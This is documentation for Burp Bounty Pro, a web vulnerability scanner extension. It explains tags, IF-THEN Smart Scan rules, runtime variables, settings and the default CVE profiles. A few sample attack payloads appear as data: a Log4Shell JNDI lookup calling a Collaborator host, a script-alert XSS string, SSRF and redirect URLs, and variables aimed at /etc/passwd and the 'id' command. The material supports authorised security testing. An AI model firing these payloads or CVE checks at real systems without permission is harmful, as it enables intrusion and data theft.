| `SSRF`             | Server-Side Request Forgery         | \~6   |
| `RCE`              | Remote Code Execution               | \~10  |
| `Open Redirect`    | Open Redirect                       | \~5   |
| `CORS`             | CORS Misconfiguration               | \~1   |
| `SSTI`             | Server-Side Template Injection      | \~1   |
| `XXE`              | XML External Entity                 | \~3   |
| `CVEs`             | Known CVE exploits                  | \~50  |
| `Path Traversal`   | Path/Directory Traversal            | \~2   |
| `Wordpress`        | WordPress-specific                  | \~12  |
| `Drupal`           | Drupal-specific                     | \~2   |
| `Spring`           | Spring Framework-specific           | \~2   |
| `GraphQL`          | GraphQL-specific                    | \~6   |
| `Fuzzing Files`    | File/directory fuzzing              | \~4   |
| `Forgot Password`  | Password reset testing              | \~3   |
| `Cloud`            | Cloud infrastructure                | \~1   |
| `API`              | API endpoints                       | \~1   |
| `JWT`              | JSON Web Tokens                     | \~1   |
| `Mobile`           | Mobile application testing          | \~1   |
| `Blind XSS`        | Blind XSS payloads                  | \~1   |
| `CRLF`             | CRLF Injection                      | \~1   |
| `Errors`           | Error page detection                | \~1   |
| `DRWuzz`           | DWR fuzzing                         | \~1   |
| `Introspection`    | GraphQL introspection               | \~1   |
| `React/Next.js`    | React/Next.js vulnerabilities       | \~3   |
| `n8n`              | n8n platform vulnerabilities        | \~1   |
| `Security_Headers` | Missing security headers (passive)  | \~6   |
| `Secrets`          | Exposed secrets and keys (passive)  | \~10  |
| `Parameters`       | Interesting parameters (passive)    | \~5   |
| `Cookie_Security`  | Cookie security flags (passive)     | \~3   |
| `Technology`       | Technology fingerprinting (passive) | \~8   |

## 👁️ Tags in the Passive Scan Context Menu

Tags are the foundation of the **tag-based passive scan** feature. When you right-click to launch a passive scan, the context menu organizes passive profiles by tag:

```
👁️ Passive Scan
├── 🌐 All (125)
├── 📨 Passive Request
│   ├── All (48)
│   ├── API (5)
│   ├── Parameters (12)
│   ├── Technology (8)
│   └── ...
└── 📩 Passive Response
    ├── All (77)
    ├── Cookie_Security (3)
    ├── Secrets (10)
    ├── Security_Headers (15)
    └── ...
```

Each entry shows the **count** of profiles with that tag. This lets you run precisely the passive checks you need.

See [Passive Scan](/scanning/passive-scan) for details on launching tag-based passive scans.

## 📋 Using Tags in Rules

Rules can target profiles by tag instead of listing individual profiles:

```json
{
  "Execute": {
    "type": "tag",
    "value": "XSS"
  }
}
```

This executes all active profiles tagged with "XSS" when the rule's conditions are met.

See [Creating Rules](/rules/creating-rules) for details.

## 📊 Tags Manager

The **Tags Manager** sub-tab within the Profiles section allows you to:

* 👀 View all tags in use across all profiles
* 📝 See which profiles belong to each tag
* 🔧 Manage tag assignments
* 🔍 Filter the profile tables by selecting a tag from the dropdown

## ✏️ Creating Custom Tags

When creating or editing a profile, simply add your custom tag strings to the `Tags` array:

```json
{
  "Tags": ["All", "Custom_Bug_Bounty", "Target_Specific"]
}
```

Or use the **Set New Tag** right-click menu on existing profiles — this is the fastest way. ⚡

**Best practices:**

* ✅ Always include the `All` tag unless you want to exclude the profile from broad scans
* 📝 Use descriptive tag names that indicate the vulnerability class or target technology
* 🔤 Use consistent naming across profiles (e.g., always use `XSS` not `xss` or `Cross-Site-Scripting`)
* 🎯 Create target-specific tags (e.g., `Client_A`) for profiles tailored to specific engagements
* 👁️ Use tags on passive profiles to enable focused passive scanning via the context menu

## 📚 Example: Tag-Based Scanning Workflow

1. 🏷️ **Tag profiles by category:**
   * XSS profiles → `XSS` tag
   * SQLi profiles → `SQLi` tag
   * WordPress profiles → `Wordpress` tag
   * Security header checks → `Security_Headers` tag
   * Secret detection → `Secrets` tag
2. 👁️ **Launch focused passive scans:**
   * Right-click a request → **Passive Scan** > **Passive Response** > **Security\_Headers**
   * Right-click a request → **Passive Scan** > **Passive Request** > **Parameters**
3. 📋 **Create rules that use tags:**
   * When Passive Request detects SQL-like parameters → Execute tag `SQLi`
   * When Passive Response detects WordPress → Execute tag `Wordpress`
4. 🎯 **Control scope:**
   * For broad scanning: Use tag `All`
   * For focused scanning: Use specific tags like `XSS` or `CVEs`
   * For passive-only audits: Use the tag submenu to run only relevant checks


# Overview

Rules are the engine behind **Smart Scan** — they define automated scanning workflows that trigger active profiles when passive conditions are detected. Rules follow an IF-THEN pattern that intelligently connects passive reconnaissance with targeted active scanning.

## ❓ What is a Rule?

A rule is a conditional automation that says:

> 🔍 **IF** these passive conditions are detected in the traffic, 🎯 **THEN** execute these active scanning profiles against the matching request.

## 🏗️ Rule Structure

Each rule consists of:

### 1️⃣ Metadata

| Field          | Description                    |
| -------------- | ------------------------------ |
| 📝 Name        | Unique identifier for the rule |
| ✅ Enabled      | Whether the rule is active     |
| 📄 Description | What the rule does             |

### 2️⃣ Match Conditions (IF)

One or more passive profile references that must be satisfied:

* 📨 **Passive Request profiles** — Match against HTTP requests
* 📩 **Passive Response profiles** — Match against HTTP responses
* ⚙️ **Logic operators** — Combine conditions:
  * ✅ **AND** — All conditions must match
  * 🔀 **OR** — At least one condition must match

### 3️⃣ Execute Actions (THEN)

What to do when conditions are met:

* 📝 **Execute specific profiles** — Run named active profiles
* 🏷️ **Execute profiles by tag** — Run all profiles with a specific tag
* 🎯 **Match scope**:
  * 🔄 **All Matches** — Execute for every match of the passive condition
  * 1️⃣ **First Match** — Execute only for the first match (per host/URL)

## 📄 Rule File Format

Rules are stored as JSON files with the `.bbre` extension:

```json
[
  {
    "RuleName": "My_Rule",
    "Enabled": true,
    "Description": "Detect technology X and test for vulnerability Y",
    "Conditions": [
      {
        "type": "passive_response",
        "profile": "Technology_X_Detection",
        "operator": ""
      }
    ],
    "Actions": [
      {
        "type": "profile",
        "value": "CVE-XXXX-YYYY_Technology_X",
        "scope": "All Matches"
      }
    ]
  }
]
```

## ⚙️ How Rules Execute

```
📡 HTTP Traffic
  │
  ├─ Request passes through Burp Suite
  │   ├─ 📨 Passive Request profiles check the request
  │   └─ 📩 Passive Response profiles check the response
  │
  ├─ 📋 Rule engine evaluates conditions
  │   ├─ Condition 1: Does passive profile X match? ✓/✗
  │   ├─ Condition 2: Does passive profile Y match? ✓/✗
  │   └─ ⚙️ Logic evaluation (AND/OR): Pass/Fail
  │
  └─ ✅ If conditions pass → 🎯 Execute active profiles
      ├─ Profile A runs against the matched request
      ├─ Profile B runs against the matched request
      └─ 🐛 Results reported as issues
```

## 🛠️ Managing Rules

### 📥📤 Import/Export

* Rules use the `.bbre` file extension
* Import and export from the Rules tab
* Share rules with team members

### ✅❌ Enable/Disable

Toggle individual rules on/off without deleting them. Disabled rules don't participate in Smart Scan.

### ✏️ Edit

🖱️ Double-click a rule to open the editor dialog (non-modal).

### 📋 Duplicate

Clone a rule with an auto-generated name suffix for creating variations.

## 📦 Default Rules

Burp Bounty Pro ships with 27 pre-configured rules. See [Default Rules](/reference/default-rules) for the complete reference.

## 📖 Next Steps

* 📝 [Creating Rules](/rules/creating-rules) — Step-by-step guide to creating custom rules
* 📚 [Examples](/rules/examples) — Practical rule examples from the default rule set


# Creating Rules

This guide walks you through creating Smart Scan rules step by step.

## 1️⃣ Step 1: Open the Rule Editor

1. Go to **Burp Bounty Pro** > **Rules** tab
2. Click **Add** to create a new rule
3. 🪟 The rule editor dialog opens

## 2️⃣ Step 2: Basic Information

| Field              | Description                | Example                                 |
| ------------------ | -------------------------- | --------------------------------------- |
| 📝 **Rule Name**   | Unique identifier          | `My_Custom_Rule`                        |
| ✅ **Enabled**      | Whether the rule is active | `true`                                  |
| 📄 **Description** | What the rule does         | `Detect Spring Boot and test actuators` |

## 3️⃣ Step 3: Define Match Conditions (IF)

Add one or more passive profile conditions that must be met before the rule triggers.

### ➕ Adding a Condition

1. Select the condition type:
   * 📨 **Passive Request** — Match against HTTP requests
   * 📩 **Passive Response** — Match against HTTP responses
2. Select the passive profile to reference
3. Set the logic operator (for the second condition onward):
   * ✅ **AND** — Both this condition and the previous must match
   * 🔀 **OR** — Either this condition or the previous must match

### 📚 Condition Examples

**🔍 Single condition:**

```
IF Passive Response profile "Wordpress detection" matches
```

**✅ Multiple AND conditions:**

```
IF Passive Request profile "Fortinet_Request" matches
AND Passive Response profile "Fortinet_Panel" matches
```

**🔀 Multiple OR conditions:**

```
IF Passive Request profile "CouchDB_Request" matches
OR Passive Response profile "CouchDB_Response" matches
```

### ⚙️ Logic Evaluation

When combining AND and OR:

```
Condition1 AND Condition2 OR Condition3
```

This evaluates as:

```
(Condition1 AND Condition2) OR Condition3
```

✅ AND has higher precedence than OR.

## 4️⃣ Step 4: Define Execute Actions (THEN)

### 📝 Execute Specific Profiles

Run one or more named active profiles:

```
THEN execute:
  - Profile "CVE-2021-44228_RCE_Log4j"
  - Profile "CVE-2021-44228_RCE_Log4j_GETPOST"
  - Profile "CVE-2021-44228_RCE_Log4j_urlEncode"
```

### 🏷️ Execute by Tag

Run all active profiles that have a specific tag:

```
THEN execute all profiles with tag "XSS"
```

This is more maintainable than listing individual profiles — when you add new XSS profiles and tag them, they're automatically included in the rule.

### 🎯 Match Scope

Choose how many times the action executes:

| Scope               | Behavior                                                     |
| ------------------- | ------------------------------------------------------------ |
| 🔄 **All Matches**  | Execute for every match of the passive condition             |
| 1️⃣ **First Match** | Execute only for the first match (avoids redundant scanning) |

**All Matches** is the default and recommended for most cases. Use **First Match** when:

* 🔄 The passive profile matches frequently and you only need one test
* ⬇️ You want to reduce scan load on the target
* 🖥️ The vulnerability check only needs to run once per host

## 5️⃣ Step 5: Save the Rule

💾 Click **Save** to store the rule. It becomes immediately active if `Enabled` is set to `true`.

## 💡 Tips for Effective Rules

### 🖥️ Use Technology Detection as Triggers

Create passive profiles that detect specific technologies, then trigger targeted CVE profiles:

```
IF detect WordPress → THEN run WordPress CVE profiles
IF detect Jira → THEN run Jira CVE profiles
IF detect Spring Boot → THEN run Spring Boot Actuator profiles
```

### 💉 Use Parameter Detection for Vulnerability Classes

Create passive profiles that detect interesting parameters, then trigger the appropriate vulnerability profiles:

```
IF detect SQLi-like parameters → THEN run SQLi profiles
IF detect redirect/URL parameters → THEN run Open Redirect + SSRF profiles
IF detect file/path parameters → THEN run LFI/Path Traversal profiles
```

### 🔗 Combine Request and Response Conditions

For more precise targeting, require both request and response conditions:

```
IF request matches "Fortinet_Request" (URL pattern)
AND response matches "Fortinet_Panel" (page content)
THEN execute CVE-2018-13379_FortiOS_Creds_Disclosure
```

This avoids false triggers from URL patterns alone.

### 📦 Start with Default Rules

Review the 27 default rules for patterns and inspiration. Most common scenarios are already covered.

### 🏷️ Tag-Based Rules for Broad Scanning

Use tag-based execution for flexible, broad rules:

```
IF detect any request → THEN execute tag "Open Redirect"
```

> ⚠️ **Warning:** Broad rules like these can generate a lot of traffic. Only enable them when needed and consider using "First Match" scope.


# Examples

This page shows practical examples from the default rules shipped with Burp Bounty Pro.

## 🖥️ Technology Detection Rules

### 🔵 WordPress Rule

**🎯 Goal:** Detect WordPress sites and automatically test for common WordPress vulnerabilities.

```
IF: Passive Response profile "Wordpress detection" matches
THEN: Execute profiles:
  - Wordpress_user_enum_oembed
  - wordpress_users_enum_yoastseo
  - Wordpress_user_enum_json
  - Wordpress_directory_listing
  - Woody_Wordpress_RCE
  - CVE-2020-24312_File_Manager_Wordpress_Backups
  - Wordpress_Path_Traversal
  - Wordpress_Config_Accessible
  - easy_wp_smtp_listing_enabled
  - CVE-2020-11738_Wordpress_Duplicator_Plugin_LFI
Scope: First Match
```

The passive profile detects WordPress indicators in responses (e.g., `wp-content`, `wp-includes`), then 10 active profiles test for user enumeration, directory listing, RCE, path traversal, and config exposure.

### 🔵 Jira Rule

**🎯 Goal:** Detect Jira instances and test for known vulnerabilities.

```
IF: Passive Request profile "Jira_Request" matches
THEN: Execute profiles:
  - CVE-2020-14179_Jira_Info_Exposure
  - CVE-2020-14181_Jira_User_Enum
  - CVE-2017-9506_Jira_SSRF
  - CVE-2019-8442_Jira_Path_Traversal
  - CVE-2019-8449_Jira_Unauthenticated_Sensitive_Info
  - Jira_unauthenticated_Info
Scope: All Matches
```

### 🍃 Spring Boot Rule

**🎯 Goal:** Detect Spring Boot applications and test actuator endpoints.

```
IF: Passive Request profile "Springboot_Requests" matches
THEN: Execute profile: Spring_Boot_Actuators
Scope: All Matches
```

### 💧 Drupal Rule

**🎯 Goal:** Detect Drupal CMS and test for user enumeration.

```
IF: Passive Response profile "Drupal_Response" matches
THEN: Execute profiles:
  - Drupal_User_Enum
  - Drupal_User_Enum_Redirect
Scope: All Matches
```

## 🔗 Combined Condition Rules

### 🛡️ Fortinet Rule

**🎯 Goal:** Detect Fortinet/FortiGate panels and test for credential disclosure.

```
IF: Passive Request profile "Fortinet_Request" matches
AND: Passive Response profile "Fortinet_Panel" matches
THEN: Execute profile: CVE-2018-13379_FortiOS_Creds_Disclosure
Scope: All Matches
```

This requires **both** request URL pattern AND response content to match before executing the CVE profile. This reduces false positives compared to checking only the URL.

### 🌐 Netsweeper Rule

**🎯 Goal:** Detect Netsweeper appliance and test for code injection.

```
IF: Passive Request profile "Netsweeper_Request" matches
AND: Passive Response profile "Netsweeper_Response" matches
THEN: Execute profile: CVE-2020-13167_Netsweeper_code_injection
Scope: All Matches
```

### 🗄️ CouchDB Rule

**🎯 Goal:** Detect CouchDB endpoints and test for admin exposure.

```
IF: Passive Request profile "CouchDB_Request" matches
AND: Passive Response profile "CouchDB_Response" matches
THEN: Execute profile: CouchDB_Admin_Exposure
Scope: All Matches
```

## 💉 Vulnerability Parameter Detection Rules

### 🗄️ SQL Injection Rule

**🎯 Goal:** Detect parameters commonly vulnerable to SQL injection and test them.

```
IF: Passive Request profile "SQLi_Parameters" matches
THEN: Execute profiles:
  - SQLi
  - SQLi_Timebased_Encoded_Space
Scope: All Matches
```

The passive profile detects parameters like `id=`, `user_id=`, `query=`, `select=`, etc.

### 💉 XSS Rule

**🎯 Goal:** Detect XSS-prone parameters and test with various payloads.

```
IF: Passive Request profile "XSS_Parameters" matches
THEN: Execute profiles:
  - XSS
  - XSS_URLEncode
  - XSS_HtmlUrlEncode
  - XSS_GETPOST
  - XSS_HTML_Tag_Context
  - XSS_HTML_Attribute_Context
  - XSS_JavaScript_Context
Scope: All Matches
```

### ⚡ RCE Rule

**🎯 Goal:** Detect RCE-prone parameters and test for command injection.

```
IF: Passive Request profile "RCE_Parameters" matches
THEN: Execute profiles:
  - RCE_Linux
  - Blind_RCE_Linux
  - Blind_RCE_Windows
  - Echo_RCE
  - Expect_RCE
  - PHP_RCE
  - RCE_Windows
Scope: All Matches
```

### 📂 LFI Rule

**🎯 Goal:** Detect file path parameters and test for Local File Inclusion.

```
IF: Passive Request profile "LFI_RFI_Parameters" matches
OR: Passive Request profile "URL_Path_as_a_Value" matches
THEN: Execute profiles:
  - PathTraversal_Linux
  - PathTraversal_Windows
Scope: All Matches
```

### 🔄 Open Redirect / SSRF Rule

**🎯 Goal:** Detect URL-containing parameters and test for open redirect and SSRF.

```
IF: Passive Request profile "OpenRedirect_SSRF_Parameters" matches
OR: Passive Request profile "URL_as_a_Value" matches
OR: Passive Request profile "URL_Path_as_a_Value" matches
THEN: Execute profiles:
  - OpenRedirect
  - OpenRedirect_SSRF_Collaborator
  - Openredirect_to_XSS
  - OpenRedirect_to_Account_Takeover
  - SSRF-Collaborator
  - SSRF-URLScheme
  - SSRF_Collaborator_HTTP1_0
  - SSRF_Collaborator_HTTP0_9
  - OpenRedirect-ParameterPollution
  - OpenRedirect-ParameterPollution_Path
Scope: All Matches
```

### 🔧 SSTI Rule

**🎯 Goal:** Detect template injection parameters and test for SSTI.

```
IF: Passive Request profile "SSTI_Parameters" matches
THEN: Execute profile: SSTI
Scope: All Matches
```

## ⚠️ Bulk Scanning Rules (Disabled by Default)

These rules are powerful but resource-intensive — they're disabled by default.

### 🔄 Scan All Requests with All Profiles

```
IF: Passive Request profile "All_Requests_And_Parameters" matches
THEN: Execute tag "All"
Scope: All Matches
Enabled: false ❌
```

> ⚠️ **Warning:** This runs ALL active profiles against ALL requests. Can consume excessive RAM and CPU. Use only on small targets with caution.

### 🔄 Scan All Requests with Open Redirect Profiles

```
IF: Passive Request profile "All_Requests_And_Parameters" matches
THEN: Execute tag "Open Redirect"
Scope: All Matches
Enabled: false ❌
```

### 🌐 Scan All Requests with SSRF Profiles

```
IF: Passive Request profile "All_Requests_And_Parameters" matches
THEN: Execute tag "SSRF"
Scope: All Matches
Enabled: false ❌
```

### 🐛 Scan All Requests with Log4Shell

```
IF: Passive Request profile "All_Requests_And_Parameters" matches
THEN: Execute profiles:
  - CVE-2021-44228_RCE_Log4j
  - CVE-2021-44228_RCE_Log4j_GETPOST
  - CVE-2021-44228_RCE_Log4j_urlEncode
Scope: All Matches
Enabled: false ❌
```


# Global Variables

Global variables are dynamic placeholders that are replaced with actual values at runtime. They can be used in payloads, grep patterns, and raw request templates to make profiles reusable and configurable.

## 📝 Variable Syntax

Variables use curly brace syntax: `{VARIABLE_NAME}`

```
http://{REDIRECT_DOMAIN}/callback
{CURRENT_HOST}:{CURRENT_PORT}
```

## ⚙️ User-Configurable Variables

These variables have default values that can be customized in the **Variables** tab:

| Variable             | Default Value                  | Description                                  |
| -------------------- | ------------------------------ | -------------------------------------------- |
| `{REDIRECT_DOMAIN}`  | `bountysecurity.ai`            | 🔄 Domain for open redirect and SSRF testing |
| `{ATTACKER_DOMAIN}`  | `yourdomain.com`               | 🏴‍☠️ General attacker-controlled domain     |
| `{XXE_FILE}`         | `/etc/passwd`                  | 🐧 File path for Linux XXE payload           |
| `{XXE_GREP}`         | `root:x`                       | 🔍 Expected content for Linux XXE match      |
| `{XXE_FILE_B64}`     | `ZmlsZTovLy9ldGMvcGFzc3dk`     | 🔒 Base64-encoded Linux file path for XXE    |
| `{XXE_GREP_B64}`     | `cm9vdD`                       | 🔒 Base64-encoded content for XXE match      |
| `{XXE_WIN_FILE}`     | `c:/boot.ini`                  | 🪟 File path for Windows XXE payload         |
| `{XXE_WIN_GREP}`     | `boot loader`                  | 🔍 Expected content for Windows XXE match    |
| `{XXE_WIN_FILE_B64}` | `ZmlsZTovLy9jOi9ib290LmluaQ==` | 🔒 Base64-encoded Windows file path          |
| `{RCE_FILE}`         | `/etc/passwd`                  | 📁 File path for RCE verification            |
| `{RCE_COMMAND}`      | `id`                           | ⚡ Command for RCE testing                    |

### ✏️ Modifying Default Values

1. Go to **Burp Bounty Pro** > **Variables** tab
2. 🖱️ Double-click a variable to edit its value
3. 💾 Click **Save**

Changes are persisted in Burp Suite's extension settings and applied to all profiles at runtime.

### ➕ Adding Custom Variables

1. Go to **Burp Bounty Pro** > **Variables** tab
2. Click **Add**
3. Enter the variable name (without curly braces) and value
4. ✅ The variable is immediately available as `{YOUR_VARIABLE_NAME}` in all profiles

### 🗑️ Removing Variables

1. Select the variable in the table
2. Click **Remove**

> ⚠️ **Note:** Removing a default variable means any profiles using it will have the variable string left unresolved. Only remove variables you're sure are not used.

## 📡 Context Variables (Auto-Populated)

These variables are automatically populated from the current request being scanned:

### 🔗 Request URL Variables

| Variable              | Description            | Example                         |
| --------------------- | ---------------------- | ------------------------------- |
| `{CURRENT_URL}`       | 🔗 Full request URL    | `https://example.com/path?id=1` |
| `{CURRENT_HOST}`      | 🖥️ Target hostname    | `example.com`                   |
| `{CURRENT_PROTOCOL}`  | 🔒 Protocol scheme     | `https`                         |
| `{CURRENT_PORT}`      | 🔢 Target port         | `443`                           |
| `{CURRENT_PATH}`      | 📂 URL path            | `/path`                         |
| `{CURRENT_QUERY}`     | ❓ Query string         | `id=1`                          |
| `{CURRENT_FILE}`      | 📄 File component      | `page.html`                     |
| `{CURRENT_SUBDOMAIN}` | 🌐 Extracted subdomain | `api` (from `api.example.com`)  |
| `{CURRENT_METHOD}`    | 📡 HTTP method         | `GET`                           |

### 📋 Request Header Variables

| Variable                    | Description                     |
| --------------------------- | ------------------------------- |
| `{CURRENT_USER_AGENT}`      | 🖥️ User-Agent header value     |
| `{CURRENT_COOKIES}`         | 🍪 Cookie header value          |
| `{CURRENT_REFERER}`         | 🔗 Referer header value         |
| `{CURRENT_ORIGIN}`          | 🌐 Origin header value          |
| `{CURRENT_CONTENT_TYPE}`    | 📄 Content-Type header value    |
| `{CURRENT_ACCEPT}`          | ✅ Accept header value           |
| `{CURRENT_ACCEPT_LANGUAGE}` | 🌍 Accept-Language header value |
| `{CURRENT_ACCEPT_ENCODING}` | 📦 Accept-Encoding header value |
| `{CURRENT_CONTENT_LENGTH}`  | 📏 Content-Length header value  |

### 📍 Insertion Point Variables

| Variable                          | Description                                              |
| --------------------------------- | -------------------------------------------------------- |
| `{CURRENT_INSERTION_POINT_VALUE}` | 📍 The current value of the insertion point being tested |
| `{CURRENT_INSERTION_POINT_NAME}`  | 🏷️ The name of the insertion point being tested         |

## ⚡ Special Variables

### 🌐 Burp Collaborator

| Variable | Description                                       |
| -------- | ------------------------------------------------- |
| `{BC}`   | 🌐 Generates a unique Burp Collaborator subdomain |

Use `{BC}` for out-of-band vulnerability detection. Each occurrence generates a unique subdomain that Burp Collaborator monitors for interactions.

```json
{
  "Payloads": [
    "true,http://{BC}/test",
    "true,${jndi:ldap://{BC}/a}"
  ]
}
```

### 🎲 Random Values

| Variable               | Description                                |
| ---------------------- | ------------------------------------------ |
| `{RANDOM}`             | 🔤 Unique identifier (ULID format)         |
| `{RANDOM_ALPHANUM_8}`  | 🔤 8-character random alphanumeric string  |
| `{RANDOM_ALPHANUM_16}` | 🔤 16-character random alphanumeric string |

Use random values for cache busting, unique markers, or canary tokens:

```json
{
  "Payloads": [
    "true,{RANDOM_ALPHANUM_8}<script>alert(1)</script>"
  ],
  "Grep": [
    "true,,Simple String,,{RANDOM_ALPHANUM_8}<script>alert(1)</script>"
  ]
}
```

## 📡 Raw Request Variables

These variables are specifically for use in [Raw Request](/profiles/raw-request) mode:

| Variable        | Description                          |
| --------------- | ------------------------------------ |
| `{PAYLOAD}`     | 💉 The current payload being tested  |
| `{PAYLOAD_URL}` | 🔗 The current payload, URL-encoded  |
| `{URL}`         | 🔗 The full target URL               |
| `{COOKIE}`      | 🍪 Cookies from the original request |

## ⚙️ Variable Replacement Order

Variables are replaced in this order during scanning:

1. 🌐 **Global/user-defined variables** from VariablesManager (`{REDIRECT_DOMAIN}`, `{ATTACKER_DOMAIN}`, custom variables)
2. 📡 **Context variables** from the current request (`{CURRENT_HOST}`, `{CURRENT_PATH}`, etc.)
3. ⚡ **Special variables** (`{BC}`, `{RANDOM}`, etc.)

Variables are replaced in both **payloads** and **grep patterns**, so you can use variables on both sides:

```json
{
  "Payloads": ["true,http://{REDIRECT_DOMAIN}"],
  "Grep": ["true,,Simple String,,Location: http://{REDIRECT_DOMAIN}"]
}
```

## 📚 Examples

### 🔄 Open Redirect Testing

```json
{
  "Payloads": [
    "true,http://{REDIRECT_DOMAIN}",
    "true,//{REDIRECT_DOMAIN}",
    "true,{CURRENT_PROTOCOL}://{CURRENT_HOST}@{REDIRECT_DOMAIN}"
  ],
  "Grep": [
    "true,,Simple String,,Location: http://{REDIRECT_DOMAIN}",
    "true,OR,Simple String,,Location: //{REDIRECT_DOMAIN}"
  ]
}
```

### 🌐 SSRF with Collaborator

```json
{
  "Payloads": [
    "true,http://{BC}",
    "true,https://{BC}/test",
    "true,http://{BC}:80/callback"
  ]
}
```

### 💉 Parameter Pollution

```json
{
  "Payloads": [
    "true,{CURRENT_INSERTION_POINT_VALUE}&url=http://{REDIRECT_DOMAIN}",
    "true,{CURRENT_INSERTION_POINT_VALUE}&redirect=http://{REDIRECT_DOMAIN}"
  ]
}
```


# Settings

The Options tab provides global configuration settings that control Burp Bounty Pro's behavior.

## ⚡ Scanner Settings (Per-Scan)

> ⚠️ **Important:** Thread pool size, concurrency, and requests per second are now configured **per scan** in the URL Filter popup that appears before each scan. This gives you precise control over each scan's performance, and allows different scans to run with different settings simultaneously.

See [Scan Control](/scanning/scan-control) for details on per-scan configuration.

| Setting                    | Where          | Default |
| -------------------------- | -------------- | ------- |
| 🧵 **Threads**             | Per-scan popup | 10      |
| 🔀 **Concurrency**         | Per-scan popup | 10      |
| 📈 **Requests per second** | Per-scan popup | 10      |

## ⏱️ Scan Timeout

| Setting          | Description                                                | Default |
| ---------------- | ---------------------------------------------------------- | ------- |
| **Scan Timeout** | Maximum time for a scan before marking as failed (minutes) | 60      |

When a scan exceeds this time limit, it's marked as "❌ Failed" in the Dashboard. This prevents stalled scans from consuming resources indefinitely.

> 📝 **Note:** Paused time is excluded from the timeout calculation. If you pause a scan for 30 minutes, those 30 minutes do not count toward the timeout.

## 🌐 Collaborator Settings

| Setting                       | Description                                                   | Default      |
| ----------------------------- | ------------------------------------------------------------- | ------------ |
| **Collaborator Refresh Time** | Polling interval for Burp Collaborator results (milliseconds) | Configurable |

Controls how often Burp Bounty Pro checks for Burp Collaborator interactions. Lower values detect out-of-band vulnerabilities faster but increase Collaborator server load.

## 🔢 Max Concurrent Scans

| Setting       | Description                        | Default      |
| ------------- | ---------------------------------- | ------------ |
| **Max Scans** | Maximum number of concurrent scans | Configurable |

Limits the total number of scans running at any time. Helps prevent excessive resource consumption when scanning multiple targets.

## 🚫 URL Exclusions

| Setting        | Description                           |
| -------------- | ------------------------------------- |
| **Avoid URLs** | URL patterns to exclude from scanning |

Specify URL patterns that should not be scanned. Useful for:

* 🚪 Excluding logout URLs to avoid session termination
* 🔒 Skipping administrative panels
* ⚠️ Avoiding destructive endpoints (delete, reset, etc.)

## 🤖 AI Scanner Settings

AI Scanner settings are configured from the **Scanners** > **AI** tab via the **Settings** button.

| Setting                      | Description                                                              | Default          |
| ---------------------------- | ------------------------------------------------------------------------ | ---------------- |
| **Enable**                   | Enable/disable AI Scanner                                                | Enabled          |
| **Auto-scan after analysis** | Automatically launch active scans with recommended profiles              | Enabled          |
| **Provider**                 | AI provider (OpenAI, Anthropic, Google Gemini, OpenRouter, Local/Ollama) | OpenAI           |
| **API Key**                  | API key for the selected provider                                        | (empty)          |
| **Model**                    | AI model name                                                            | gpt-4o           |
| **Endpoint**                 | API endpoint URL                                                         | Provider default |

### Prompt Customization

Click **Edit Prompts** to customize the system and user prompts used by the AI Scanner. The default prompts include a comprehensive profile taxonomy, parameter name correlations, technology detection rules, and a 12-field output schema.

> ⚠️ **Note:** When updating Burp Bounty Pro, if your saved prompts are outdated (missing new schema fields), they are automatically reset to the new defaults.

See [AI Scanner](/scanning/ai-scan) for full documentation.

## 🎨 Console Output

| Setting         | Description                              |
| --------------- | ---------------------------------------- |
| **Print Color** | Color scheme for console output messages |

Controls the color of log messages in the extension output console.

## 💾 Persistence

All settings are persisted in Burp Suite's extension settings storage:

* ✅ Settings survive Burp Suite restarts
* ✅ Settings survive extension reloads
* ✅ Settings are stored per Burp project

## 📋 Recommended Configurations

### 🏴‍☠️ Bug Bounty (Fast Scanning)

```
Per-Scan Settings:
  🧵 Threads: 20-30
  🔀 Concurrency: 20-30
  📈 RPS: 50-100

Global Settings:
  ⏱️ Scan Timeout: 120 minutes
  🔢 Max Scans: 5
```

### 🔒 Penetration Testing (Controlled Scanning)

```
Per-Scan Settings:
  🧵 Threads: 5-10
  🔀 Concurrency: 5-10
  📈 RPS: 5-10

Global Settings:
  ⏱️ Scan Timeout: 60 minutes
  🔢 Max Scans: 3
```

### 🛡️ Rate-Limited Target

```
Per-Scan Settings:
  🧵 Threads: 2-3
  🔀 Concurrency: 2-3
  📈 RPS: 1-2

Global Settings:
  ⏱️ Scan Timeout: 180 minutes
  🔢 Max Scans: 1
```

### 🏢 Internal Network (Maximum Speed)

```
Per-Scan Settings:
  🧵 Threads: 30-50
  🔀 Concurrency: 30-50
  📈 RPS: 100+

Global Settings:
  ⏱️ Scan Timeout: 60 minutes
  🔢 Max Scans: 10
```

> 💡 **Tip:** You can adjust per-scan settings differently for each scan. Run a fast scan against the main application with high threads, while simultaneously running a slow, careful scan against a sensitive API endpoint with low threads and RPS.


# Default Profiles

Burp Bounty Pro ships with **254 pre-configured profiles** covering CVE exploits, common vulnerabilities, technology detection, and sensitive data exposure.

## 📊 Summary

| Category                     | Count   |
| ---------------------------- | ------- |
| 🎯 Active Scanning Profiles  | 101     |
| 📩 Passive Response Profiles | 95      |
| 📨 Passive Request Profiles  | 58      |
| **Total**                    | **254** |

### ⚠️ Severity Distribution

| Severity       | Count |
| -------------- | ----- |
| 🔴 High        | 68    |
| 🟠 Medium      | 29    |
| 🟡 Low         | 8     |
| 🔵 Information | 149   |

## 🎯 Active Profiles by Category

### 🐛 CVE Exploits

| Profile                                               | Severity | Tags                     |
| ----------------------------------------------------- | -------- | ------------------------ |
| CVE-2017-9506\_Jira\_SSRF                             | Medium   | CVEs                     |
| CVE-2018-1271\_Spring\_MVC\_Path\_Traversal           | High     | CVEs                     |
| CVE-2018-13379\_FortiOS\_Creds\_Disclosure            | High     | CVEs                     |
| CVE-2019-11510\_Pulse\_Secure                         | High     | CVEs                     |
| CVE-2019-11580\_Atlassian\_Crowd\_RCE                 | High     | CVEs                     |
| CVE-2019-1653\_Cisco\_Wan\_VPN\_disclosure            | High     | CVEs                     |
| CVE-2019-19781\_Citrix\_ADC\_Directory\_Traversal     | Medium   | CVEs                     |
| CVE-2019-3799\_Spring\_Cloud\_Path\_Traversal         | High     | CVEs                     |
| CVE-2019-5418\_Ruby on Rails                          | High     | CVEs                     |
| CVE-2019-5418\_Ruby on Rails - WAF bypass             | High     | CVEs                     |
| CVE-2019-8442\_Jira\_Path\_Traversal                  | Medium   | CVEs                     |
| CVE-2019-8449\_Jira\_Unauthenticated\_Sensitive\_Info | Medium   | CVEs                     |
| CVE-2020-11738\_Wordpress\_Duplicator\_Plugin\_LFI    | High     | CVEs, Wordpress          |
| CVE-2020-13167\_Netsweeper\_code\_injection           | High     | CVEs                     |
